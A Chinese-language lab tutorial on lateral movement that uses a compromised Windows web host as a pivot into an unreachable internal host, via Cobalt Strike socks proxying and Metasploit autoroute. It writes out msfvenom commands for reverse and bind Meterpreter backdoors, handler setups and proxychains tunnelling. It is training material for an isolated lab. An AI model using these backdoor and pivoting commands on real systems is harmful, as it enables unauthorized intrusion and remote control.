前言描述
在内网渗透时,常常出现网络不可达的情况,例如我们获得一台web主机的权限,该主机可以访问另一台主机,但我们本机是无法直接访问该内网主机的,而且该内网主机连不上外网
我们就需要将web机作为跳板,将我们主机的流量转发到不可直接访问的内网主机,就可以开始实现渗透测试获取内网主机权限了,如图

知识补充 :
反向连接 vs 正向连接的区别:
- 反向连接:受害主机主动出来,适用于有出网权限的情况
- 正向连接:攻击机主动去找,适用于无出网权限的内网主机
环境准备
虚拟机:
三台vmwarw虚拟机
攻击机:Kali
Web机,内网主机:两台win10
网络配置:
VMware网络配置
vm准备三个网络:
VMnet1:192.168.189.0/24 仅主机
VMnet6:192.168.42.0/24 仅主机
VMnet8:192.168.41.0/24 NAT模式
VMnet8:实现本地主机和kali虚拟机进行互联
VMnet6:实现kali虚拟机和web主机进行互联
VMnet1:实现web主机和内网主机进行互联

本地主机与虚拟机网络配置
本地主机
由于是在虚拟机环境,本地主机默认所有的虚拟机都可以访问,所以记得在本地主机需要禁用VMnet1,VMnet6两个网络,这样本地主机就无法访问Web主机和内网主机的网络了

Kali攻击机


Windows10 Web靶机


window10 内网机:

通过以上配置基本实现了:
本地主机和Kali攻击机互通,kali攻击机可以访问web机,web机可以访问内网机

内网主机ip为192.168.189.132,图片有点问题
CobaltStrike
socks代理工作原理:
CS的socks代理是通过已控制的跳板机(Web主机)建立一个流量转发通道,具体流程如下:
本地主机/攻击机 → socks代理端口 → 跳板机(Web主机) → 内网目标主机
1.CobaltStrike启动
Kail主机作为服务端启动

本地主机作为客户端,

2.上线第一台web主机
配置监听

上线ip一定要填kali和web机可以互通的网段ip:192.168.42.0/24,监听端口不要占用了
生成exe后门放到web机上线

3.验证环境
先在内网主机起一个简单的web终端
网址为:http://192.168.189.132:9999 (刚刚图片ip有问题)

此时这个网页只能web主机和内网主机访问

现在情况kali是不能访问

接下来我们要实现本地主机和kali可以访问
4.实现CS转发
我们使用CS的socks代理转发


记住端口:27910
5.本地主机走代理端口
使用Proxifier进行流量转发
1. 添加代理服务器


2. 添加代理规则


规则说的是任何192.168.189.0/24的ip都走刚刚配置的代理端口
3. 验证主机是否可以访问
- 本地主机访问

- Kali的curl访问
bash
curl -x socks4://192.168.41.128:27910 http://192.168.189.132:9999

6.上线内网主机
web主机上线使用的是反向连接(防火墙严进,宽出)
内网主机上线需要正向连接(内网主机不通本地主机,需要本地主机通过跳板去找)
重新生成正向连接的后门

挂目标本机的4444端口
在内网主机运行后门

该主机成功监听本地4444端口
现在直接在CS上线的web执行connect命令就行
connect 192.168.189.132 4444


成功上线内网主机
MSF
msf的转发大体和CS是类似的,主要是纯命令行的使用
1.生成后门
生成后门上线web端的主机(ip要能和kali通讯那个ip)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.42.130 LPORT=4444 -f exe -o shell_x64.exe
2.上线web端后门
kali端进行监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run
运行后门上线

3.msf路由表配置
更新/查看路由表
run post/multi/manage/autoroute
自动添加路由表
-
这个命令会自动扫描当前已控制主机的网络接口和路由信息
-
根据扫描结果,自动添加所有发现的内网网段到 MSF 的路由表中
-
使得 MSF 可以通过当前已控制的主机访问其所在的内网其他主机
run autoroute -p
查看当前路由表
-p参数表示 "print"(打印/显示)- 这个命令会显示当前 MSF 中已配置的所有路由规则
- 让你了解哪些内网网段可以通过当前会话进行访问

路由表的作用:
告诉MSF:"当你需要访问192.168.189.0/24网段时,不要直接尝试(会失败),而是通过Session 1(Web主机)来转发流量"
4.设置socks代理
使用background命令回到msf控制页面
使用msf的转发代理模块配置代理

bash
use auxiliary/server/socks_proxy
查看参数
show options
可以根据情况设置socks版本,socks5或者socks4a
set srvport 1080
set version 4a
exploit
执行完kali本地的1080端口就可以通过web主机代理流量到内网主机了
5.验证代理
- 使用curl命令
bash
curl -x socks4://192.168.41.128:1080 http://192.168.189.132:9999

- 使用本地工具proxychains
编辑本地的proxychains程序配置文件
bash
vim /etc/proxychains.conf

可以通过proxychains访问内网环境了
bash
proxychains curl http://192.168.189.132:9999

- 使用环境变量
bash
export https_proxy=socks4://0.0.0.0:1080 http_proxy=socks4://0.0.0.0:1080

访问的问题解决了,就是使用msf的正向连接了
6.内网主机正向连接上线
生成shell
bash
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o bin_shell_x64.exe
运行

msf连接
bash
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhost 192.168.189.132
run

最好再更新一下路由
bash
run post/multi/manage/autoroute
成功上线内网主机

由图可知
192.168.42.130->192.168.42.128
192.168.189.128->192.168.189.132
kail主机是通过web主机来连接内网主机的
至此,我们已成功通过实验完成Cobalt Strike和Metasploit的内网横向渗透。
免责声明
本文所述过程仅用于安全研究与教育目的,旨在提升对软件安全风险的认知与防御能力。所有操作均应在合法授权的隔离实验环境中进行,严禁用于任何未授权的系统渗透、攻击或非法活动。作者及发布方不对因误用、滥用本文内容而导致的任何直接或间接损失承担责任。用户须自行承担使用风险,并严格遵守《中华人民共和国网络安全法》及相关法律法规。